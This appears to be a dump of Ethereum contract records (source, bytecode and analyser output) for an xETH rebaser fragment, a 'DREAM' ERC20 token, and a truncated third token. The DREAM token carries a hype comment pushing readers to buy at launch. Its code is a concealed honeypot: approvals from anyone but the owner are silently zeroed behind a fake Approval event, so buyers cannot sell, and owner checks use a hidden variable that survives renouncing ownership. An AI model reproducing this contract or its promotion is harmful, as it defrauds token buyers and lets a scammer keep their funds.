scaling factor will be too big"); } // rebase xETH.rebase(epoch, indexDelta, positive); assert(xETH.xETHScalingFactor() <= xETH.maxScalingFactor()); } function setTimesXvalue ( uint _xValue) external onlyGov returns (uint) { xValue = _xValue; return xValue; } /** * @dev Use Circuit Breakers (Prevents some un godly amount of XETHG to be minted) * 1.xETHG Price Marker * 2.Set Rebase 20% treashold * 3.Calculate Uni Pair Price * 4.Target Price + Circuit Breaker * 5.Accepted xETHprice Price For Rebase * 6.Is Uniswap Price Over Circuit Breaker? * 7.Yes, Use Rebase xETHCircuit Breaker Price * 8.No, Use Uniswap Price */ function getPrice() public view returns (uint256) { (uint xethReserve, uint ethReserve, ) = UniswapPairContract(uniswap_xeth_eth_pair).getReserves(); uint xEthPrice; uint ETHER = 1 ether; uint ETHER_X = xValue; uint BASE_PERCENT = ETHER.sub(ETHER_X); uint uniPrice = ethReserve.mul(ETHER).div(xethReserve); uint circuitBreaker = (targetRate.mul(BASE_PERCENT)).div(ETHER); uint xEthCircuitBreakerPrice = targetRate.add(circuitBreaker); if (uniPrice > xEthCircuitBreakerPrice ) { return xEthPrice = xEthCircuitBreakerPrice; } else { return xEthPrice = uniPrice; } } function setDeviationThreshold(uint256 deviationThreshold_) external onlyGov { require(deviationThreshold > 0); uint256 oldDeviationThreshold = deviationThreshold; deviationThreshold = deviationThreshold_; emit NewDeviationThreshold(oldDeviationThreshold, deviationThreshold_); } /** * @notice Sets the rebase lag parameter. It is used to dampen the applied supply adjustment by 1 / rebaseLag If the rebase lag R, equals 1, the smallest value for R, then the full supply correction is applied on each rebase cycle. If it is greater than 1, then a correction of 1/R of is applied on each rebase. * @param rebaseLag_ The new rebase lag parameter. */ function setRebaseLag(uint256 rebaseLag_) external onlyGov { require(rebaseLag_ > 0); rebaseLag = rebaseLag_; } /** * @notice Sets the targetRate parameter. * @param targetRate_ The new target rate parameter. */ function setTargetRate(uint256 targetRate_) external onlyGov { require(targetRate_ > 0); targetRate = targetRate_; } /** * @notice Sets the parameters which control the timing and frequency of * rebase operations. * a) the minimum time period that must elapse between rebase cycles. * b) the rebase window offset parameter. * c) the rebase window length parameter. * @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase * operations, in seconds. * @param rebaseWindowOffsetSec_ The number of seconds from the beginning of the rebase interval, where the rebase window begins. * @param rebaseWindowLengthSec_ The length of the rebase window in seconds. */ function setRebaseTimingParameters( uint256 minRebaseTimeIntervalSec_, uint256 rebaseWindowOffsetSec_, uint256 rebaseWindowLengthSec_) external onlyGov { require(minRebaseTimeIntervalSec_ > 0); require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_); minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_; rebaseWindowOffsetSec = rebaseWindowOffsetSec_; rebaseWindowLengthSec = rebaseWindowLengthSec_; } /** * @return If the latest block timestamp is within the rebase time window it, returns true. * Otherwise, returns false. */ function inRebaseWindow() public view returns (bool) { // rebasing is delayed until there is a liquid market _inRebaseWindow(); return true; } function _inRebaseWindow() internal view { require(now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec, "too early"); require(now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec)), "too late"); } /** * @return Computes in % how far off market is from peg */ function computeOffPegPerc(uint256 rate) private view returns (uint256, bool) { if (withinDeviationThreshold(rate)) { return (0, false); } // indexDelta = (rate - targetRate) / targetRate if (rate > targetRate) { return (rate.sub(targetRate).mul(10**18).div(targetRate), true); } else { return (targetRate.sub(rate).mul(10**18).div(targetRate), false); } } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate) private view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** 18); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } function divRound(uint256 x, uint256 y) internal pure returns (uint256) { require(y != 0, "Div by zero"); uint256 r = x / y; if (x % y != 0) { r = r + 1; } return r; } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80636406ca5f116100c3578063af14052c1161007c578063af14052c14610452578063b181033a1461045c578063cc8fd393146104a6578063cdabdaac146104c4578063d94ad837146104f2578063ff12bbf4146105105761014d565b80636406ca5f146103725780637052b902146103905780638835a658146103ae578063900cf0cf146103f85780639466120f1461041657806398d5fdca146104345761014d565b8063332ac51b11610115578063332ac51b1461024c5780633a93069b1461028e57806343684b21146102ac578063484234081461030857806353a15edc1461032657806363f6d4c8146103545761014d565b80630210189914610152578063111d04981461017057806312d43a511461019257806316250fd4146101dc57806320ce83891461021e575b600080fd5b61015a610560565b6040518082815260200191505060405180910390f35b610178610566565b604051808215151515815260200191505060405180910390f35b61019a610577565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61021c600480360360608110156101f257600080fd5b8101908080359060200190929190803590602001909291908035906020019092919050505061059c565b005b61024a6004803603602081101561023457600080fd5b8101908080359060200190929190505050610628565b005b6102786004803603602081101561026257600080fd5b8101908080359060200190929190505050610698565b6040518082815260200191505060405180910390f35b610296610704565b6040518082815260200191505060405180910390f35b6102ee600480360360208110156102c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061070a565b604051808215151515815260200191505060405180910390f35b61031061072a565b6040518082815260200191505060405180910390f35b6103526004803603602081101561033c57600080fd5b8101908080359060200190929190505050610730565b005b61035c6107e9565b6040518082815260200191505060405180910390f35b61037a6107ef565b6040518082815260200191505060405180910390f35b6103986107f4565b6040518082815260200191505060405180910390f35b6103b66107fa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610400610820565b6040518082815260200191505060405180910390f35b61041e610826565b6040518082815260200191505060405180910390f35b61043c61082c565b6040518082815260200191505060405180910390f35b61045a6109d5565b005b610464610e26565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104ae610e4c565b6040518082815260200191505060405180910390f35b6104f0600480360360208110156104da57600080fd5b8101908080359060200190929190505050610e52565b005b6104fa610ec2565b6040518082815260200191505060405180910390f35b61055e6004803603604081101561052657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610ec8565b005b60055481565b6000610570610f7c565b6001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105f557600080fd5b6000831161060257600080fd5b82821061060e57600080fd5b826005819055508160078190555080600881905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461068157600080fd5b6000811161068e57600080fd5b8060018190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106f357600080fd5b816003819055506003549050919050565b60065481565b600c6020528060005260406000206000915054906101000a900460ff1681565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461078957600080fd5b60006004541161079857600080fd5b60006004549050816004819055507f2a5cda4d16fba415b52d90b59ee30d4cb16494da9fd1ee51c4d5bac4a1f75bbe8183604051808381526020018281526020019250505060405180910390a15050565b60015481565b600081565b60075481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b60085481565b6000806000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561089957600080fd5b505afa1580156108ad573d6000803e3d6000fd5b505050506040513d60608110156108c357600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600080670de0b6b3a7640000905060006003549050600061093782846110a990919063ffffffff16565b905060006109608761095286896110c990919063ffffffff16565b61110390919063ffffffff16565b9050600061098b8561097d856002546110c990919063ffffffff16565b61110390919063ffffffff16565b905060006109a48260025461112990919063ffffffff16565b9050808311156109c2578096508699505050505050505050506109d2565b8296508699505050505050505050505b90565b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a0d57600080fd5b610a1633611148565b610a1f57600080fd5b610a27610f7c565b42610a3f60055460065461112990919063ffffffff16565b10610a4957600080fd5b42600681905550610a66600160095461112990919063ffffffff16565b6009819055506000610a7661082c565b9050600080610a848361119e565b915091506000829050610aa26001548261110390919063ffffffff16565b90506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508215610c70578073ffffffffffffffffffffffffffffffffffffffff166311d3e6c46040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1757600080fd5b505afa158015610b2b573d6000803e3d6000fd5b505050506040513d6020811015610b4157600080fd5b8101908080519060200190929190505050610c19670de0b6b3a7640000610c0b610b7c86670de0b6b3a764000061112990919063ffffffff16565b8573ffffffffffffffffffffffffffffffffffffffff16636f97857b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc257600080fd5b505afa158015610bd6573d6000803e3d6000fd5b505050506040513d6020811015610bec57600080fd5b81019080805190602001909291905050506110c990919063ffffffff16565b61110390919063ffffffff16565b10610c6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113156022913960400191505060405180910390fd5b5b8073ffffffffffffffffffffffffffffffffffffffff16637af548c160095484866040518463ffffffff1660e01b815260040180848152602001838152602001821515151581526020019350505050602060405180830381600087803b158015610cd957600080fd5b505af1158015610ced573d6000803e3d6000fd5b505050506040513d6020811015610d0357600080fd5b8101908080519060200190929190505050508073ffffffffffffffffffffffffffffffffffffffff166311d3e6c46040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5b57600080fd5b505afa158015610d6f573d6000803e3d6000fd5b505050506040513d6020811015610d8557600080fd5b81019080805190602001909291905050508173ffffffffffffffffffffffffffffffffffffffff16636f97857b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610ddc57600080fd5b505afa158015610df0573d6000803e3d6000fd5b505050506040513d6020811015610e0657600080fd5b81019080805190602001909291905050501115610e1f57fe5b5050505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b60008111610eb857600080fd5b8060028190555050565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f2157600080fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600754610f946005544261126590919063ffffffff16565b1015611008576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f746f6f206561726c79000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61101f60085460075461112990919063ffffffff16565b6110346005544261126590919063ffffffff16565b106110a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f746f6f206c61746500000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b565b6000828211156110b857600080fd5b600082840390508091505092915050565b6000808314156110dc57600090506110fd565b60008284029050828482816110ed57fe5b04146110f857600080fd5b809150505b92915050565b600080821161111157600080fd5b600082848161111c57fe5b0490508091505092915050565b60008082840190508381101561113e57600080fd5b8091505092915050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806111aa83611286565b156111be5760008081915091509150611260565b6002548311156112165761120b6002546111fd670de0b6b3a76400006111ef600254886110a990919063ffffffff16565b6110c990919063ffffffff16565b61110390919063ffffffff16565b600191509150611260565b61125960025461124b670de0b6b3a764000061123d876002546110a990919063ffffffff16565b6110c990919063ffffffff16565b61110390919063ffffffff16565b6000915091505b915091565b60008082141561127457600080fd5b81838161127d57fe5b06905092915050565b6000806112ba670de0b6b3a76400006112ac6004546002546110c990919063ffffffff16565b61110390919063ffffffff16565b905060025483101580156112e15750806112df600254856110a990919063ffffffff16565b105b8061130c57506002548310801561130b575080611309846002546110a990919063ffffffff16565b105b5b91505091905056fe6e6577207363616c696e6720666163746f722077696c6c20626520746f6f20626967a2646970667358221220ebd26c4b9fff3f0fdb0f7eff4153fb2bdc098b60c925a4974900afeb7cc4e64c64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
8,852
0xb807c77db8101f2b2a871ae1ffd254e1cac405de
/* 🚀DREAM (erc20)🚀 A project that i think will be absolutely huge. I know the dev and all his past projects have been huge successes. Already got a big TG before launch too. Launch date is on the 11th January. This token can only be traded during USA stock market hours, a first of its kind. Also, this makes holding the token stress free as it isnt 24/7 price action which makes it so much easier to monitor and manage. Very very cool concept. Personally i will be aping big at launch and am super bullish on this project, definitely one of my top plays atm. Just hoping it can perform well under these market conditions as nothing is certain at the moment. Nevertheless im fucking excited for this launch. Take a look at their website for more in depth information. Telegram: https://t.me/TheDreamChain Website: https://thedreamchain.com */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract DREAM is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100* 10**6* 10**18; string private _name = 'DREAM ' ; string private _symbol = '$DREAM ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f7e8ef617eabddbefb20e32dd97994e17f91caa23cf6d22c65b93882bfaba5bb64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,853
0x163c2916188a6df1d543de51a85558d7e1d0d2bb
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param 